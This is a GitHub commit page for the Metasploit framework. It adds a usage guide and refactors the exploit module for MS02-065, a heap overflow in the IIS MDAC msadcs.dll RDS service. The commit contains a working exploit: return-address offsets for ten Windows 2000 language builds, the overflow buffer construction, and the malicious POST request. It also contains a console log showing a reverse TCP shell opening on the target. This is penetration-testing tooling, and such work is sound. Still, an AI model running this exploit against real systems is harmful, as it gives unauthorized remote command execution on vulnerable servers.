Skip to content

Commit 3f63f9f

Browse files
bcolesbcoles
committed
ms02_065_msadc: Cleanup and add additional offsets
1 parent 20fb1e5 commit 3f63f9f

File tree

2 files changed

+146
-51
lines changed

2 files changed

+146
-51
lines changed

‎documentation/modules/exploit/windows/iis/ms02_065_msadc.md‎

Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
## Vulnerable Application
2+
3+
This module can be used to execute arbitrary code on IIS servers
4+
that expose the /msadc/msadcs.dll Microsoft Data Access Components
5+
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
6+
exploitable even when RDS is configured to deny remote connections
7+
(handsafe.reg). The service is vulnerable to a heap overflow where
8+
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
9+
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
10+
11+
This module has been tested successfully on:
12+
13+
* Windows 2000 Pro SP0-SP3 (English)
14+
* Windows 2000 Pro SP0 (Korean)
15+
* Windows 2000 Pro SP0 (Dutch)
16+
* Windows 2000 Pro SP0 (Finnish)
17+
* Windows 2000 Pro SP0 (Turkish)
18+
* Windows 2000 Pro SP0-SP1 (Greek)
19+
* Windows 2000 Pro SP1 (Arabic)
20+
* Windows 2000 Pro SP1 (Czech)
21+
* Windows 2000 Pro SP2 (French)
22+
* Windows 2000 Pro SP2 (Portuguese)
23+
24+
## Verification Steps
25+
26+
1. `use exploit/windows/iis/ms02_065_msadc`
27+
1. `set RHOSTS [IP]`
28+
1. `show targets` to see the possible targets
29+
1. `set TARGET [TARGET]`
30+
1. `set PAYLOAD windows/shell/reverse_tcp`
31+
1. `set LHOST [IP]`
32+
1. `run`
33+
34+
## Options
35+
36+
### TARGETURI
37+
38+
The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`)
39+
40+
## Scenarios
41+
42+
### Windows 2000 Professional SP3 (EN)
43+
44+
```
45+
msf6 > use exploit/windows/iis/ms02_065_msadc
46+
[*] Using configured payload windows/shell/reverse_tcp
47+
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
48+
rhosts => 192.168.200.186
49+
msf6 exploit(windows/iis/ms02_065_msadc) > show targets
50+
51+
Exploit targets:
52+
53+
Id Name
54+
-- ----
55+
0 Windows 2000 Pro SP0-SP3 (English)
56+
1 Windows 2000 Pro SP0 (Korean)
57+
2 Windows 2000 Pro SP0 (Dutch)
58+
3 Windows 2000 Pro SP0 (Finnish)
59+
4 Windows 2000 Pro SP0 (Turkish)
60+
5 Windows 2000 Pro SP0-SP1 (Greek)
61+
6 Windows 2000 Pro SP1 (Arabic)
62+
7 Windows 2000 Pro SP1 (Czech)
63+
8 Windows 2000 Pro SP2 (French)
64+
9 Windows 2000 Pro SP2 (Portuguese)
65+
66+
67+
msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
68+
target => 0
69+
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
70+
lhost => 192.168.200.130
71+
msf6 exploit(windows/iis/ms02_065_msadc) > check
72+
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
73+
msf6 exploit(windows/iis/ms02_065_msadc) > run
74+
75+
[*] Started reverse TCP handler on 192.168.200.130:4444
76+
[*] Encoded stage with x86/shikata_ga_nai
77+
[*] Sending encoded stage (267 bytes) to 192.168.200.186
78+
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400
79+
80+
81+
Shell Banner:
82+
Microsoft Windows 2000 [Version 5.00.2195]
83+
-----
84+
85+
86+
C:\WINNT\system32>ver
87+
ver
88+
89+
Microsoft Windows 2000 [Version 5.00.2195]
90+
```

‎modules/exploits/windows/iis/ms02_065_msadc.rb‎

Lines changed: 56 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -8,89 +8,94 @@ class MetasploitModule < Msf::Exploit::Remote
88

99
include Msf::Exploit::Remote::HttpClient
1010

11-
def initialize
11+
def initialize(info = {})
1212
super(
13-
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
14-
'Description' => %q{
13+
update_info(
14+
info,
15+
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
16+
'Description' => %q{
1517
This module can be used to execute arbitrary code on IIS servers
1618
that expose the /msadc/msadcs.dll Microsoft Data Access Components
1719
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
1820
exploitable even when RDS is configured to deny remote connections
1921
(handsafe.reg). The service is vulnerable to a heap overflow where
2022
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
2123
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
22-
},
23-
'Author' => 'aushack',
24-
'Platform' => 'win',
25-
'References' =>
26-
[
24+
},
25+
'Author' => 'aushack',
26+
'Platform' => 'win',
27+
'Arch' => [ARCH_X86],
28+
'References' => [
2729
['OSVDB', '14502'],
2830
['BID', '6214'],
2931
['CVE', '2002-1142'],
3032
['MSB', 'MS02-065'],
3133
['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html']
3234
],
33-
'Privileged' => false,
34-
'Payload' =>
35-
{
36-
'Space' => 1024,
37-
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&",
38-
'StackAdjustment' => -3500,
35+
'Privileged' => false,
36+
'Payload' => {
37+
'Space' => 1024,
38+
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x27:?<>=$\\/;=+%#&",
39+
'StackAdjustment' => -3500
3940
},
40-
'DefaultOptions' =>
41-
{
42-
'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully
41+
'DefaultOptions' => {
42+
'PAYLOAD' => 'windows/shell/reverse_tcp',
43+
'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully
4344
},
44-
'Targets' =>
45-
[
46-
# aushack tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
47-
[ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll
45+
'Targets' => [
46+
# jmp eax ws2help.dll
47+
[ 'Windows 2000 Pro SP0-SP3 (English)', { 'Ret' => 0x75023783 } ],
48+
[ 'Windows 2000 Pro SP0 (Korean)', { 'Ret' => 0x74f93783 } ],
49+
[ 'Windows 2000 Pro SP0 (Dutch)', { 'Ret' => 0x74fd3783 } ],
50+
[ 'Windows 2000 Pro SP0 (Finnish)', { 'Ret' => 0x74ff3783 } ],
51+
[ 'Windows 2000 Pro SP0 (Turkish)', { 'Ret' => 0x74fc3783 } ],
52+
[ 'Windows 2000 Pro SP0-SP1 (Greek)', { 'Ret' => 0x74f73783 } ],
53+
[ 'Windows 2000 Pro SP1 (Arabic)', { 'Ret' => 0x74f93783 } ],
54+
[ 'Windows 2000 Pro SP1 (Czech)', { 'Ret' => 0x74fc3783 } ],
55+
[ 'Windows 2000 Pro SP2 (French)', { 'Ret' => 0x74fa3783 } ],
56+
[ 'Windows 2000 Pro SP2 (Portuguese)', { 'Ret' => 0x74fd3783 } ],
4857
],
49-
'DefaultTarget' => 0,
50-
'DisclosureDate' => 'Nov 20 2002'
58+
'DefaultTarget' => 0,
59+
'DisclosureDate' => '2002-11-02',
60+
'Notes' => {
61+
'Reliability' => [REPEATABLE_SESSION],
62+
'Stability' => [CRASH_SERVICE_DOWN],
63+
'SideEffects' => [IOC_IN_LOGS]
64+
}
65+
)
5166
)
5267

5368
register_options(
5469
[
55-
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
56-
])
70+
OptString.new('TARGETURI', [ true, 'The path to msadcs.dll', '/msadc/msadcs.dll' ]),
71+
]
72+
)
5773
end
5874

5975
def check
60-
res = send_request_raw({
61-
'uri' => normalize_uri(datastore['PATH']),
62-
'method' => 'GET',
63-
})
64-
if (res and res.code == 200)
65-
print_status("Server responded with HTTP #{res.code} OK")
66-
if (res.body =~ /Content-Type: application\/x-varg/)
67-
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
68-
Exploit::CheckCode::Detected
69-
end
70-
else
71-
Exploit::CheckCode::Safe
76+
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
77+
78+
return CheckCode::Unknown('Connection failed') unless res
79+
return CheckCode::Unknown('HTTP server error') if res.code == 500
80+
return CheckCode::Safe('Access Forbidden') if res.code == 403
81+
82+
if res.code == 200 && res.body.to_s.include?('Content-Type: application/x-varg')
83+
return CheckCode::Detected("#{target_uri.path} content type matches fingerprint application/x-varg")
7284
end
85+
86+
CheckCode::Safe
7387
end
7488

7589
def exploit
7690
sploit = rand_text_alphanumeric(136)
77-
sploit[24,2] = Rex::Arch::X86.jmp_short(117)
91+
sploit[24, 2] = Rex::Arch::X86.jmp_short(117)
7892
sploit << [target['Ret']].pack('V')
7993
sploit << payload.encoded
8094

81-
data = 'Content-Type: ' + sploit
82-
83-
res = send_request_raw({
84-
'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'),
85-
'headers' =>
86-
{
87-
'Content-Length' => data.length,
88-
},
89-
90-
'method' => 'POST',
91-
'data' => data,
95+
send_request_cgi({
96+
'uri' => normalize_uri(target_uri.path, '/AdvancedDataFactory.Query'),
97+
'method' => 'POST',
98+
'data' => "Content-Type: #{sploit}"
9299
})
93-
94-
handler
95100
end
96101
end

0 commit comments

Comments
 (0)